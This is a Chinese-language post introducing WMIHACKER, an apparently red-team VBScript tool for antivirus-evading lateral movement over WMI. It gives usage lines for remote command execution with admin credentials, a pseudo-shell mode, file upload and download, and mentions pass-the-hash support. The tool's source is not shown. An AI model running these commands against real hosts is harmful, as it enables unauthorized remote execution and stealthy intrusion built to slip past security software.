WMIHACKER:免杀横向移动命令执行测试工具

2024-07-16 15:01:35 浏览数 (2)

免杀横向渗透远程命令执行，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)

主要功能

1、命令执行

2、文件上传

3、文件下载

4、PTH使用

工具使用

代码语言：javascript复制
C:UsersadministratorDesktop>cscript //nologo WMIHACKER_0.6.vbs

__          ____  __ _____   _    _          _____ _  ________ _____
         / /  /  |_   _| | |  | |   /   / ____| |/ /  ____|  __ 
    /  / /|   / | | |   | |__| |  /   | |    | ' /| |__  | |__) |
   /  / / | |/| | | |   |  __  | / / | |    |  < |  __| |  _  /
     /  /  | |  | |_| |_  | |  | |/ ____  |____| . | |____| |  
    /  /   |_|  |_|_____| |_|  |_/_/    ______|_|_______|_|  _
                              v0.6beta       By. Xiangshan@360RedTeam
Usage:
        WMIHACKER.vbs  /cmd  host  user  pass  command GETRES?

        WMIHACKER.vbs  /shell  host  user  pass

        WMIHACKER.vbs  /upload  host  user  pass  localpath remotepath

        WMIHACKER.vbs  /download  host  user  pass  localpath remotepath

          /cmd          single command mode
          host          hostname or IP address
          GETRES?       Res Need Or Not, Use 1 Or 0
          command       the command to run on remote host

有命令回显执行方式

代码语言：javascript复制
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

无命令回显方式：

代码语言：javascript复制
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:1.txt" 0

模拟shell模式

代码语言：javascript复制
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"

文件上传-复制本机calc.exe到远程主机c:calc.exe

代码语言：javascript复制
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:windowssystem32calc.exe" "c:calc"

文件下载-下载远程主机calc.exe到本地c:calc.exe

代码语言：javascript复制
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:calc" "c:windowssystem32calc.exe"
文件上传 主机 测试工具 服务 工具

0 人点赞